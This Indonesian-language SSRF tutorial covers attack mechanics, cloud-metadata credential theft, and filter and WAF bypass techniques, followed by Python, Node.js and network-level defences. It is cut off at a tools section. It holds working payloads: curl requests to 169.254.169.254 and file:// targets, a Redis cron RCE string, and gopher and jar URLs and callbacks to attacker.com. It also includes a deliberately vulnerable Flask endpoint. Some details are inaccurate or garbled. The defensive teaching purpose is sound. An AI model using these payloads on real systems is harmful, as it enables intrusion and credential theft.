Cybersecurity

SSRF: Server-Side Request Forgery — Serangan, Bypass, & Pencegahan

Tutorial lengkap SSRF — memahami mekanisme serangan, teknik bypass filter, studi kasus CVE terkenal, hingga arsitektur pencegahan komprehensif untuk aplikasi web modern

1. Pengenalan SSRF

SSRF (Server-Side Request Forgery) adalah jenis serangan keamanan web di mana penyerang memanipulasi aplikasi web agar mengirimkan request HTTP yang tidak diinginkan ke server internal maupun eksternal. Serangan ini memanfaatkan kepercayaan antara server dan resource internalnya, menjadikannya salah satu kerentanan paling berbahaya dalam kategori OWASP Top 10.

Pada dasarnya, SSRF terjadi ketika aplikasi menerima URL dari user input dan menggunakannya untuk membuat request jaringan tanpa validasi yang memadai. Penyerang dapat menggunakan aplikasi tersebut sebagai proxy untuk mengakses resource internal, melakukan port scanning, atau bahkan melakukan remote code execution (RCE) dalam kasus tertentu.

Mengapa SSRF Berbahaya?

Faktor Risiko Penjelasan
Akses InternalServer dapat mengakses layanan internal yang tidak terlihat dari internet
Bypass FirewallRequest dari dalam jaringan sering kali melewati firewall dan aturan keamanan
Cloud MetadataMengakses metadata cloud provider (AWS, GCP, Azure) untuk mencuri kredensial
Pivot PointSSRF bisa menjadi titik awal untuk serangan lateral movement
RCEDalam kondisi tertentu, SSRF dapat meningkat menjadi Remote Code Execution
Data ExfiltrationMencuri data sensitif dari layanan internal yang rentan
⚠️ Peringatan

Artikel ini ditulis untuk tujuan edukasi dan pencegahan. Selalu dapatkan izin tertulis sebelum melakukan testing terhadap sistem yang bukan milik Anda. Penggunaan teknik SSRF untuk aktivitas ilegal adalah pelanggaran hukum.

Diagram: Alur Dasar SSRF
┌──────────┐      ┌──────────────────┐      ┌──────────────────┐
│          │      │                  │      │                  │
│ PENYERANG│─────▶│  APLIKASI WEB    │─────▶│  SERVER TARGET   │
│          │      │  (Vulnerable)    │      │  (Internal/Ext)  │
│          │      │                  │      │                  │
└──────────┘      └──────────────────┘      └──────────────────┘
                          │                         │
  1. Input URL     ──────▶│  2. Server membuat     │
     yang dimanipulasi    │     request ke target   │
                          │                         │
                     ◀────│  3. Response dikirim   ◀│
                          │     kembali ke attacker │
                          │                         │

  Contoh:
  - Attacker: https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/
  - App: GET http://169.254.169.254/latest/meta-data/ (server-side)
  - Attacker: Mendapatkan data metadata AWS!

2. Mekanisme Serangan SSRF

Untuk memahami SSRF secara mendalam, kita perlu memahami bagaimana aplikasi web biasanya berinteraksi dengan URL yang diberikan oleh user. Setiap kali aplikasi membuat request HTTP berdasarkan input user, ada potensi SSRF jika validasi tidak dilakukan dengan benar.

2.1 Alur Umum Serangan

Contoh: Aplikasi Rentan (Python Flask)
from flask import Flask, request, jsonify
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    """Aplikasi ini mengambil URL dari input user TANPA validasi"""
    url = request.args.get('url')

    # ❌ BAHAYA: Tidak ada validasi URL sama sekali!
    response = requests.get(url)

    return jsonify({
        'status': response.status_code,
        'content': response.text[:500]
    })

if __name__ == '__main__':
    app.run(port=5000)

Dalam contoh di atas, penyerang dapat mengirim request seperti:

Serangan SSRF Dasar
# 1. Akses metadata AWS dari aplikasi yang rentan
curl "http://app.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# 2. Akses localhost untuk menemukan service internal
curl "http://app.com/fetch?url=http://localhost:8080/admin"
curl "http://app.com/fetch?url=http://127.0.0.1:3306/"

# 3. Port scanning internal
curl "http://app.com/fetch?url=http://192.168.1.1:22"
curl "http://app.com/fetch?url=http://10.0.0.1:6379/"

# 4. Mengakses file local
curl "http://app.com/fetch?url=file:///etc/passwd"
curl "http://app.com/fetch?url=file:///etc/shadow"

2.2 Fitur Aplikasi yang Rentan

SSRF dapat muncul di berbagai fitur aplikasi web. Berikut adalah fitur-fitur yang paling sering menjadi titik masuk serangan:

Fitur Deskripsi Tingkat Risiko
URL Preview / FetcherFitur yang mengambil konten dari URL untuk preview (misalnya URL unfurl)🔴 Sangat Tinggi
Webhook ReceiverEndpoint yang menerima callback URL dari user🔴 Sangat Tinggi
PDF GeneratorLayanan yang mengunduh URL dan mengkonversi ke PDF🟠 Tinggi
Image ProxyProxy yang mengunduh gambar dari URL eksternal🟠 Tinggi
XML ParserParser yang mendukung XInclude atau XXE🟠 Tinggi
Import dari URLFitur import data dari URL (CSV, JSON, XML)🟡 Sedang
Payment GatewayCallback URL pada integrasi payment gateway🟡 Sedang
Email ServiceLayanan email yang mem-fetch gambar di body email🟡 Sedang
Link ShortenerFitur redirect yang bisa diarahkan ke internal🟢 Rendah
API ClientAPI yang mengambil data dari URL yang diberikan🟠 Tinggi

2.3 SSRF dalam Arsitektur Modern

Diagram: SSRF dalam Arsitektur Microservices
┌─────────────────────────────────────────────────────────────┐
│                    INTERNET                                  │
│                                                             │
│  ┌─────────┐         ┌──────────────────┐                  │
│  │ ATTACKER │────────▶│   LOAD BALANCER  │                  │
│  └─────────┘         │  (Internet-facing)│                  │
│                       └────────┬─────────┘                  │
│                                │                            │
│         ┌──────────────────────┼──────────────────┐        │
│         │              INTERNAL NETWORK            │        │
│         │                                         │        │
│   ┌─────▼─────┐   ┌──────────┐   ┌────────────┐ │        │
│   │  WEB APP   │   │  API     │   │  DATABASE  │ │        │
│   │  (SSRF     │   │  SERVER  │   │  SERVER    │ │        │
│   │  VULNERABLE│──▶│          │   │  (No ext.  │ │        │
│   │  -)        │   │          │   │   access)  │ │        │
│   └───────────┘   └──────────┘   └────────────┘ │        │
│         │                                         │        │
│   ┌─────▼──────┐   ┌──────────┐   ┌────────────┐ │        │
│   │ ADMIN       │   │ REDIS    │   │ METADATA   │ │        │
│   │ DASHBOARD   │   │ CACHE    │   │ SERVICE    │ │        │
│   │ :8080       │   │ :6379    │   │ 169.254... │ │        │
│   └────────────┘   └──────────┘   └────────────┘ │        │
│                                                             │
└─────────────────────────────────────────────────────────────┘

  Serangan SSRF memanfaatkan koneksi internal untuk:
  → Mengakses admin dashboard yang tersembunyi
  → Membaca data dari Redis cache
  → Mencuri cloud credentials dari metadata service
  → Melakukan port scanning seluruh internal network

3. Jenis-Jenis SSRF

3.1 SSRF Dasar (Basic SSRF)

SSRF dasar terjadi ketika penyerang dapat mengarahkan server untuk membuat request ke URL yang dipilih oleh penyerang. Response dari server tersebut kemudian dikembalikan ke penyerang.

Basic SSRF — Contoh serangan ke layanan internal
# Attacker mengarahkan aplikasi ke layanan internal
# yang tidak boleh diakses dari internet

# 1. Mengakses admin panel internal
https://vulnerable-app.com/proxy?url=http://admin-panel.internal:9090/

# 2. Mengakses Elasticsearch tanpa autentikasi
https://vulnerable-app.com/proxy?url=http://elasticsearch:9200/_cat/indices

# 3. Mengakses database Redis yang tidak di-cache
https://vulnerable-app.com/proxy?url=http://redis:6379/info

# 4. Mengakses metadata AWS
https://vulnerable-app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

3.2 Blind SSRF

Blind SSRF terjadi ketika server membuat request ke URL yang dikontrol penyerang, tetapi response tidak dikembalikan secara langsung. Penyerang harus menggunakan teknik out-of-band untuk mendeteksi kerentanan.

Blind SSRF — Contoh Deteksi Out-of-Band
# 1. Gunakan server webhook yang dikontrol penyerang
#    (contoh: using Burp Collaborator atau custom server)

# 2. Kirim request ke aplikasi rentan
curl "https://vulnerable-app.com/subscribe?callback=http://attacker.com/webhook/12345"

# 3. Tunggu server mengirim request ke callback
#    Di server attacker:
#    GET /webhook/12345 HTTP/1.1
#    Host: attacker.com
#    ... (header tambahan dari server internal)

# 4. Analisis callback untuk mendapat informasi:
#    - Header HTTP yang dikirim
#    - Source IP address
#    - User-Agent string server
#    - Potensi data leakage dalam request

3.3 SSRF dengan Filter Bypass

Beberapa aplikasi menerapkan filter untuk mencegah SSRF, tetapi filter tersebut bisa di-bypass. Jenis SSRF ini lebih canggih dan memerlukan teknik khusus untuk melewati proteksi yang ada.

3.4 SSRF ke RCE (Remote Code Execution)

Dalam beberapa kasus, SSRF dapat meningkat menjadi RCE. Ini terjadi ketika layanan internal yang diakses memiliki celah yang memungkinkan eksekusi kode, seperti:

SSRF to RCE — Contoh Redis
# SSRF ke Redis untuk Remote Code Execution

# 1. Mengirim payload Redis melalui SSRF
#    (menggunakan CRLF injection)
http://app.com/fetch?url=http://redis:6379/

# 2. Redis payload untuk write SSH key
Payload: *3\r\n$3\r\nSET\r\n$1\r\n1\r\n$\r\n\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/spool/cron/\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n*1\r\n$4\r\nSAVE\r\n

# 3. Hasil: SSH key penyerang ditulis ke cron job root
#    dan penyerang bisa SSH ke server sebagai root!

4. Target & Dampak SSRF

4.1 Target Utama Serangan SSRF

Target Endpoint Dampak
AWS Metadatahttp://169.254.169.254/latest/meta-data/🔴 Pencurian IAM credentials, akses S3 bucket
GCP Metadatahttp://metadata.google.internal/computeMetadata/v1/🔴 Pencurian service account keys
Azure Metadatahttp://169.254.169.254/metadata/instance?api-version=2021-02-01🔴 Pencurian managed identity tokens
Kubernetes APIhttps://kubernetes.default.svc:443/🔴 Akses cluster, deploy pod jahat
Internal Databasemysql://db-internal:3306/🔴 Eksekusi query SQL, pencurian data
Redisredis://redis:6379/🟠 Cache poisoning, RCE via cron
Consul/etcdhttp://consul:8500/🟠 Konfigurasi service discovery
Docker APIhttp://docker:2375/🔴 Container escape, host takeover
Admin Dashboardshttp://admin:8080/🟠 Akses panel administrasi
/etc/passwdfile:///etc/passwd🟡 Informasi user sistem

4.2 Dampak pada Cloud Provider

🔴 Bahaya Cloud Metadata

Cloud metadata endpoint adalah target SSRF yang paling berbahaya. Melalui endpoint ini, penyerang bisa mendapatkan IAM credentials yang memungkinkan akses penuh ke seluruh resource cloud — termasuk S3 buckets, database, dan service lainnya. Kasus Capital One breach 2019 yang mengekspos 100 juta data pelanggan dimulai dari SSRF yang menargetkan AWS metadata.

Pencurian AWS Credentials via SSRF
# Step 1: Enumerasi metadata
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/"
# Response: ami-id, hostname, iam/, network/, ...

# Step 2: Mencari IAM role
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/"
# Response: info, security-credentials/

# Step 3: Mendapatkan nama role
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response: MyEC2Role

# Step 4: Mendapatkan credentials
curl "https://app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role"
# Response:
# {
#   "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "Token": "FwoGZXIvYXdzEBY...",
#   "Expiration": "2026-06-27T00:00:00Z"
# }

# Step 5: Gunakan credentials untuk akses resource AWS
# aws s3 ls s3://sensitive-data-bucket/
# aws rds describe-db-instances
# aws lambda list-functions

5. Studi Kasus CVE Terkenal

5.1 CVE-2021-22986 — F5 BIG-IP iControl REST SSRF

Detail Informasi
CVECVE-2021-22986
CVSS9.8 (Critical)
ProductF5 BIG-IP iControl REST API
DampakRemote Code Execution tanpa autentikasi
EksploitasiSSRF pada endpoint /mgmt/tm/util/bash memungkinkan RCE

5.2 CVE-2019-5736 — runc Container Escape

Detail Informasi
CVECVE-2019-5736
CVSS8.6 (High)
Productrunc (Docker, Kubernetes)
DampakContainer escape ke host system
KeterkaitanSSRF yang mengakses Docker API 2375 bisa memanfaatkan kerentanan ini

5.3 CVE-2021-21972 — VMware vCenter SSRF to RCE

Detail Informasi
CVECVE-2021-21972
CVSS9.8 (Critical)
ProductVMware vCenter Server
DampakRCE sebagai root tanpa autentikasi
EksploitasiUpload file melalui vROPS plugin endpoint

5.4 Capital One Breach (2019)

Salah satu insiden paling terkenal yang melibatkan SSRF. Penyerang memanfaatkan WAF (Web Application Firewall) yang berjalan di AWS, melakukan SSRF untuk mengakses metadata AWS, mendapatkan IAM credentials, dan mengekspos lebih dari 100 juta data pelanggan.

Diagram: Kronologi Capital One Breach
Timeline Capital One SSRF Attack (2019):
═══════════════════════════════════════════════════════════════

  ┌─────────┐
  │ Attacker │
  │(ex-AWS)  │
  └────┬─────┘
       │
       ▼
  1. SSRF pada WAF configuration endpoint
     POST /waf/data-processor HTTP/1.1
     Content-Type: metadata_credentials...
       │
       ▼
  2. AWS Metadata Request (dari WAF ke metadata)
     GET http://169.254.169.254/latest/meta-data/iam/
     Role: WAF-Role ← Memiliki akses terlalu luas!
       │
       ▼
  3. Pencurian IAM Credentials
     {
       "AccessKeyId": "AKIA...",
       "SecretAccessKey": "...",
       "Token": "..."
     }
       │
       ▼
  4. Akses S3 Bucket
     aws s3 ls s3://bucket-with-sensitive-data/
       │
       ▼
  5. Download 100M+ customer records
     Nama, SSN, tanggal lahir, rekening bank...

═══════════════════════════════════════════════════════════════
  LESSON LEARNED:
  → Jangan berikan IAM role akses terlalu luas
  → Implementasikan IMDSv2 untuk metadata protection
  → Batasi akses metadata dari container/WAF

6. Teknik Serangan SSRF

6.1 Port Scanning via SSRF

Penyerang dapat menggunakan SSRF untuk memindai port pada server internal. Response time atau error message yang berbeda-beda dapat mengindikasikan status port.

Port Scanning via SSRF
# Port Scanning menggunakan response time analysis
# Port terbuka: connection berhasil, response time normal
# Port tertutup: connection refused, error cepat
# Port ter-filter: timeout (biasanya 10-30 detik)

# Scan port umum di server internal
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
    echo "Scanning port $port..."
    curl -s -o /dev/null -w "Port $port: %{time_total}s\n" \
        "https://app.com/fetch?url=http://192.168.1.10:$port/" \
        --max-time 5
done

# Contoh output:
# Port 22: timeout (filtered)
# Port 80: 0.045s (open - HTTP)
# Port 443: 0.052s (open - HTTPS)
# Port 3306: timeout (filtered)
# Port 8080: 0.038s (open - internal admin)
# Port 6379: timeout (filtered)

6.2 File Read via Protocol Handlers

File Read via SSRF Protocol Handlers
# Berbagai protocol handler yang bisa dimanfaatkan:

# file:// — Membaca file lokal
https://app.com/fetch?url=file:///etc/passwd
https://app.com/fetch?url=file:///proc/self/environ
https://app.com/fetch?url=file:///proc/self/cmdline
https://app.com/fetch?url=file:///root/.ssh/id_rsa

# dict:// — Menggunakan DICT protocol
https://app.com/fetch?url=dict://redis:6379/info

# gopher:// — Raw TCP (sangat powerful!)
https://app.com/fetch?url=gopher://redis:6379/_*1%0d%0a$8%0d%0aredis-cmd%0d%0a

# tftp:// — Trivial File Transfer Protocol
https://app.com/fetch?url=tftp://attacker.com/file

# ldap:// — Lightweight Directory Access Protocol
https://app.com/fetch?url=ldap://ldap-server:389/

# jar:// — Java Archive URL (untuk SSRF ke RCE di Java)
https://app.com/fetch?url=jar:http://attacker.com/malicious.jar!/exploit.class

6.3 SSRF ke Cloud Metadata

Cloud Metadata SSRF Attack
# === AWS (IMDSv1 — rentan) ===
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# === AWS (IMDSv2 — lebih aman, perlu token) ===
# Step 1: Get token
PUT http://169.254.169.254/latest/api/token
Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Step 2: Use token
GET http://169.254.169.254/latest/meta-data/
Header: X-aws-ec2-metadata-token: 

# === Google Cloud ===
http://metadata.google.internal/computeMetadata/v1/
  ?alt=json
Header: Metadata-Flavor: Google

# === Azure ===
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  ?format=json
Header: Metadata: true

# === DigitalOcean ===
http://169.254.169.254/metadata/v1/

# === Kubernetes ===
https://kubernetes.default.svc/
https://kubernetes.default.svc:443/api/v1/namespaces/

# === Oracle Cloud ===
http://169.254.169.254/opc/v1/instance/

6.4 DNS Rebinding untuk SSRF

DNS Rebinding adalah teknik canggih yang memanfaatkan sistem DNS untuk mengubah resolved IP address antar request. Teknik ini sangat efektif untuk melewati whitelist yang berbasis hostname.

DNS Rebinding Attack Flow
# === Konsep DNS Rebinding ===

# 1. Attacker mendaftarkan domain: rebinding.attacker.com
# 2. DNS server attacker dikonfigurasi dengan TTL sangat rendah

# Request pertama (validasi oleh aplikasi):
# GET rebinding.attacker.com → 1.2.3.4 (IP attacker, VALID)
# TTL: 0 detik

# Request kedua (oleh aplikasi untuk fetch):
# GET rebinding.attacker.com → 169.254.169.254 (IP metadata, INTERNAL!)
# TTL: 0 detik

# === Tools untuk DNS Rebinding ===
# 1. rbndr.us — DNS rebinding service
#    http://rbndr.us/-

# 2. Taviso's rbndr — Custom DNS server
#    https://github.com/taviso/rbndr

# 3. Singularity — Framework lengkap untuk DNS rebinding
#    https://github.com/nccgroup/singularity

# Contoh penggunaan:
# 1. Generate rebinding URL untuk AWS metadata
curl "http://rbndr.us/169.254.169.254"
# URL pertama → resolve ke IP attacker (memenuhi whitelist)
# URL kedua → resolve ke 169.254.169.254 (mengakses metadata)

# 2. Gunakan dalam serangan SSRF
https://app.com/fetch?url=http://rebind.attacker.com/
# Aplikasi memvalidasi URL → OK (resolve ke IP attacker)
# Aplikasi fetch URL → resolve ke metadata endpoint!

7. Bypass Filter & WAF

Sering kali, pengembang menerapkan berbagai filter untuk mencegah SSRF. Namun, filter yang tidak sempurna justru memberikan ilusi keamanan. Berikut teknik-teknik bypass yang perlu dipahami oleh security engineer untuk membangun defensi yang lebih kuat.

7.1 Bypass Filter IP Address

Teknik Bypass IP Filter
# === Bypass filter yang hanya memblokir "127.0.0.1" ===

# 1. Representasi IP alternatif
http://127.0.0.1              ← diblokir
http://127.1                  ← bypass! (IP singkat)
http://0.0.0.0               ← bypass! (zero address)
http://localhost              ← bypass! (hostname)
http://[::1]                  ← bypass! (IPv6 loopback)
http://0x7f000001             ← bypass! (hexadecimal)
http://2130706433             ← bypass! (decimal)
http://017700000001           ← bypass! (octal)
http://127.0.0.1.nip.io       ← bypass! (wildcard DNS)
http://127.0.0.1.sslip.io     ← bypass! (wildcard DNS)
http://0177.0.0.1             ← bypass! (leading zero octal)
http://127.0.00.1             ← bypass! (extra zeros)
http://127.0.0.1%2523         ← bypass! (URL encoded #)
http://127.0.0.1%00           ← bypass! (null byte - PHP < 5.3.4)

# 2. Menggunakan URL parsing inconsistency
http://valid-domain.com#@127.0.0.1
http://127.0.0.1@valid-domain.com
http://valid-domain.com\@127.0.0.1

# 3. Decimal IP untuk target lain
# 10.0.0.1 = 167772161
# 172.16.0.1 = 2886729729
# 192.168.1.1 = 3232235777
http://3232235777/  →  192.168.1.1

# 4. Mixed format
http://0177.0.0.1       →  127.0.0.1
http://127.0x7F.0x01    →  127.0.0.1
http://0177.0x0.0x0.1   →  127.0.0.1

7.2 Bypass Whitelist dengan Redirect

Redirect Bypass untuk Whitelist
# === Jika aplikasi hanya mengizinkan URL dari domain tertentu ===

# 1. Gunakan URL redirector (bit.ly, t.co, dll.)
#    yang redirect ke target internal

# Buat redirect: https://bit.ly/3xabc → http://169.254.169.254/
curl "https://app.com/fetch?url=https://bit.ly/3xabc"
# Aplikasi memvalidasi bit.ly (allowed) → fetch
# bit.ly redirect ke metadata endpoint!

# 2. Gunakan layanan redirect lain
# - http://tinyurl.com/create.php
# - https://is.gd/create.php
# - Short link dari link shortener yang dimiliki attacker

# 3. HTTP Redirect Server
# Buat server sederhana di attacker.com:
# GET /redirect → 302 Location: http://169.254.169.254/
curl "https://app.com/fetch?url=https://attacker.com/redirect"

# 4. Open Redirect di aplikasi lain
# https://app.com/logout?next=http://169.254.169.254/
# Jika app.com juga memiliki open redirect:
curl "https://app.com/fetch?url=https://app.com/logout?next=http://169.254.169.254/"

7.3 Bypass HTTPS Filter

Bypass Filter HTTPS
# === Jika aplikasi hanya mengizinkan HTTPS ===

# 1. Port trick — HTTPS di port HTTP
http://internal-target:443/
# Banyak server menerima HTTP di port 443

# 2. Redirect dari HTTP ke HTTPS
# Buat server yang redirect:
# http://attacker.com → 301 https://169.254.169.254/

# 3. SSL stripping atau cert bypass

# 4. Menggunakan self-signed certificate
# Jika aplikasi tidak memverifikasi SSL

# === Bypass filter yang memblokir URL dengan port ===
# Jika filter memblokir ":" dalam URL:
# Gunakan entitas HTML
http://internal:8080@external.com
http://external.com#http://internal:8080
https://external.com@internal:8080

7.4 Bypass with IPv6 and DNS

IPv6 dan DNS Bypass
# === IPv6 Bypass ===
# Filter mungkin hanya memblokir IPv4
http://[::]:80/                → 0.0.0.0
http://[::ffff:127.0.0.1]/    → 127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/  → 127.0.0.1
http://[0000::1]/             → ::1 (loopback)

# === DNS Rebinding ===
# Membuat hostname yang resolve ke IP internal
# Setelah validasi, DNS berubah ke target internal

# === Subdomain to IP trick ===
# Buat subdomain yang resolve ke internal IP:
# evil.attacker.com → A record → 169.254.169.254
# Jika filter hanya memeriksa domain utama
curl "https://app.com/fetch?url=http://evil.attacker.com/"

7.5 Bypass Filter berbasis Schema

Schema Filter Bypass
# === Jika hanya http/https yang diizinkan ===

# 1. gopher:// — Raw TCP, bisa mengirim request HTTP
gopher://127.0.0.1:80/_GET%20/admin%20HTTP/1.1%0d%0AHost:%20localhost%0d%0A%0d%0A

# 2. dict:// — DICT protocol
dict://127.0.0.1:6379/info

# 3. file:// — Membaca file
file:///etc/passwd

# 4. jar:// — Java Archive
jar:http://attacker.com/exploit.jar!/class.class

# 5. netdoc:// — Java netdoc
netdoc:///etc/passwd

# 6. scp:// dan sftp:// — Remote file access
scp://user:password@internal-server/file

# 7. ftp:// — File Transfer Protocol
ftp://user:password@internal-server/

# 8. smb:// — Server Message Block (Windows)
smb://internal-server/share/file

# === URL Encoding Trick ===
# Double encoding
%2568%2574%2574%2570%253a%252f%252f → http://
%2567%256f%2570%2568%2565%2572%253a → gopher:

# Unicode normalization
http://  →  http://
⾷ile:///  →  file:///

8. Pencegahan & Mitigasi

Pencegahan SSRF memerlukan pendekatan berlapis (defense in depth). Tidak ada satu solusi tunggal yang bisa mencegah semua jenis SSRF. Berikut strategi pencegahan yang direkomendasikan:

8.1 Input Validation — Whitelist Approach

Python — Whitelist URL Validation
import ipaddress
import socket
import validators
from urllib.parse import urlparse
import struct

# ==========================================
# WHITELIST URL VALIDATION — Best Practice
# ==========================================

ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com']
ALLOWED_SCHEMES = ['https']
BLOCKED_RANGES = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),
    ipaddress.ip_network('::1/128'),
    ipaddress.ip_network('fc00::/7'),
    ipaddress.ip_network('fe80::/10'),
]

def is_private_ip(ip_str):
    """Cek apakah IP termasuk range privat/internal"""
    try:
        ip = ipaddress.ip_address(ip_str)
        for network in BLOCKED_RANGES:
            if ip in network:
                return True
        return False
    except ValueError:
        return False

def resolve_and_validate(hostname):
    """Resolve DNS dan validasi IP hasil resolve"""
    try:
        # Gunakan getaddrinfo untuk resolve semua IP
        addrinfos = socket.getaddrinfo(hostname, None)
        for family, _, _, _, sockaddr in addrinfos:
            ip = ipaddress.ip_address(sockaddr[0])
            for network in BLOCKED_RANGES:
                if ip in network:
                    raise ValueError(f"IP {ip} termasuk range privat!")
        return True
    except socket.gaierror:
        raise ValueError(f"Gagal resolve hostname: {hostname}")

def validate_url(url):
    """Validasi URL lengkap — whitelist approach"""
    # 1. Parse URL
    parsed = urlparse(url)

    # 2. Validasi scheme — hanya HTTPS
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError(f"Scheme '{parsed.scheme}' tidak diizinkan")

    # 3. Validasi hostname — harus ada dan valid
    if not parsed.hostname:
        raise ValueError("Hostname tidak valid")

    # 4. Whitelist domain
    if parsed.hostname not in ALLOWED_DOMAINS:
        raise ValueError(f"Domain '{parsed.hostname}' tidak di whitelist")

    # 5. Resolve DNS dan validasi IP
    resolve_and_validate(parsed.hostname)

    # 6. Validasi path (opsional — hindari path traversal)
    if '..' in (parsed.path or ''):
        raise ValueError("Path traversal terdeteksi")

    return True

# Contoh penggunaan
try:
    validate_url("https://api.example.com/data")
    print("✅ URL valid!")
except ValueError as e:
    print(f"❌ Error: {e}")

8.2 Network-Level Controls

Network Segmentation & Firewall Rules
# ==========================================
# NETWORK LEVEL DEFENSE
# ==========================================

# 1. Firewall Rules — Batasi akses dari web server
# Hanya izinkan akses ke service yang diperlukan

# iptables — Whitelist outbound traffic
iptables -A OUTPUT -p tcp --dport 443 -d api.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -d cdn.example.com -j ACCEPT
iptables -A OUTPUT -p tcp --dport 80 -d api.example.com -j ACCEPT
iptables -A OUTPUT -j DROP  # Drop semua lainnya

# 2. Network Segmentation
# Pisahkan web server dari service internal
# Web server hanya bisa akses service tertentu di port tertentu

# 3. Egress Filtering
# Batasi outbound traffic dari web server
# Hanya izinkan ke IP/hostname yang diperlukan

# 4. DNS Sinkhole
# Redirect DNS internal ke sinkhole untuk mencegah
# akses ke metadata endpoint

# 5. Cloud Security Groups
# AWS Security Group: hanya izinkan outbound ke
# - API Gateway (port 443)
# - Database (port 5432, dari subnet tertentu saja)
# Block semua lainnya

# 6. IMDSv2 — Wajibkan token untuk metadata (AWS)
# Di AWS CLI:
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

8.3 Application-Level Prevention

Node.js — SSRF Prevention Middleware
const express = require('express');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

const app = express();

// ==========================================
// SSRF Prevention Middleware
// ==========================================

const BLOCKED_NETWORKS = [
    ipaddr.parseCIDR('10.0.0.0/8'),
    ipaddr.parseCIDR('172.16.0.0/12'),
    ipaddr.parseCIDR('192.168.0.0/16'),
    ipaddr.parseCIDR('127.0.0.0/8'),
    ipaddr.parseCIDR('169.254.0.0/16'),
    ipaddr.parseCIDR('::1/128'),
    ipaddr.parseCIDR('fc00::/7'),
    ipaddr.parseCIDR('fe80::/10'),
    ipaddr.parseCIDR('0.0.0.0/8'),
];

function isBlockedIP(ipStr) {
    try {
        const addr = ipaddr.parse(ipStr);
        for (const [network] of BLOCKED_NETWORKS) {
            if (addr.match(network)) return true;
        }
        // Also block IPv4-mapped IPv6
        if (addr.kind() === 'ipv6') {
            const ipv4 = addr.toIPv4Address();
            if (ipv4) {
                return BLOCKED_NETWORKS.some(([n]) =>
                    ipaddr.parse(ipv4.toString()).match(n)
                );
            }
        }
    } catch (e) {}
    return false;
}

async function ssrfProtection(req, res, next) {
    const targetUrl = req.query.url || req.body.url;

    if (!targetUrl) return next();

    try {
        const parsed = new URL(targetUrl);

        // 1. Blokir scheme berbahaya
        const blockedSchemes = ['file', 'gopher', 'dict', 'jar', 'netdoc', 'ftp', 'scp', 'smb'];
        if (blockedSchemes.includes(parsed.protocol.replace(':', ''))) {
            return res.status(403).json({ error: 'Schema tidak diizinkan' });
        }

        // 2. Hanya izinkan HTTP/HTTPS
        if (!['http:', 'https:'].includes(parsed.protocol)) {
            return res.status(403).json({ error: 'Hanya HTTP/HTTPS yang diizinkan' });
        }

        // 3. Resolve hostname
        const hostname = parsed.hostname;
        const addresses = await dns.resolve4(hostname);

        // 4. Validasi resolved IP
        for (const addr of addresses) {
            if (isBlockedIP(addr)) {
                return res.status(403).json({
                    error: 'URL mengarah ke IP internal/privat'
                });
            }
        }

        // 5. Re-validate setelah resolve (DNS rebinding protection)
        // Simpan resolved IP untuk digunakan saat fetch
        req._resolvedIP = addresses[0];
        next();

    } catch (err) {
        return res.status(400).json({ error: 'URL tidak valid' });
    }
}

// Gunakan middleware
app.use('/fetch', ssrfProtection);

// Fetch endpoint yang aman
const fetch = require('node-fetch');
app.get('/fetch', async (req, res) => {
    try {
        // Gunakan resolved IP, bukan hostname (anti DNS rebinding)
        const targetUrl = new URL(req.query.url);
        targetUrl.hostname = req._resolvedIP;
        targetUrl.host = `${req._resolvedIP}:${targetUrl.port || 80}`;

        const response = await fetch(targetUrl.toString(), {
            timeout: 5000,  // Timeout 5 detik
            redirect: 'error',  // Blokir redirect
            headers: { 'Host': new URL(req.query.url).hostname }
        });

        res.json({
            status: response.status,
            body: (await response.text()).substring(0, 1000)
        });
    } catch (err) {
        res.status(500).json({ error: 'Gagal mengambil URL' });
    }
});

app.listen(3000, () => console.log('Server berjalan di port 3000'));

8.4 Ringkasan Pencegahan

Lapisan Mitigasi Prioritas
Input ValidationWhitelist domain & scheme yang diizinkan🔴 Wajib
DNS ResolutionResolve DNS terlebih dahulu, validasi IP hasil resolve🔴 Wajib
Network SegmentationPisahkan web server dari service internal🔴 Wajib
Egress FilteringBatasi outbound traffic dari web server🔴 Wajib
IMDSv2Wajibkan token untuk metadata access (AWS)🔴 Wajib
Disable RedirectBlokir automatic redirect saat fetch URL🟠 Penting
Schema BlockBlokir gopher://, file://, dict://, dll.🟠 Penting
DNS SinkholeRedirect DNS metadata ke sinkhole🟠 Penting
TimeoutSet timeout rendah pada HTTP client🟡 Disarankan
LoggingLog semua outbound request untuk audit🟡 Disarankan
WAF RulesDeploy WAF rules untuk mendeteksi SSRF patterns🟡 Disarankan
Least PrivilegeMinimal IAM permissions untuk service di cloud🔴 Wajib

9. Tools Testing SSRF

9.1 SSRFmap

Bash — SSRFmap
# SSRFmap — Automatic SSRF fuzzer and exploitation tool
# GitHub: https://github.com/swisskyrepo/SSRFmap

# Install
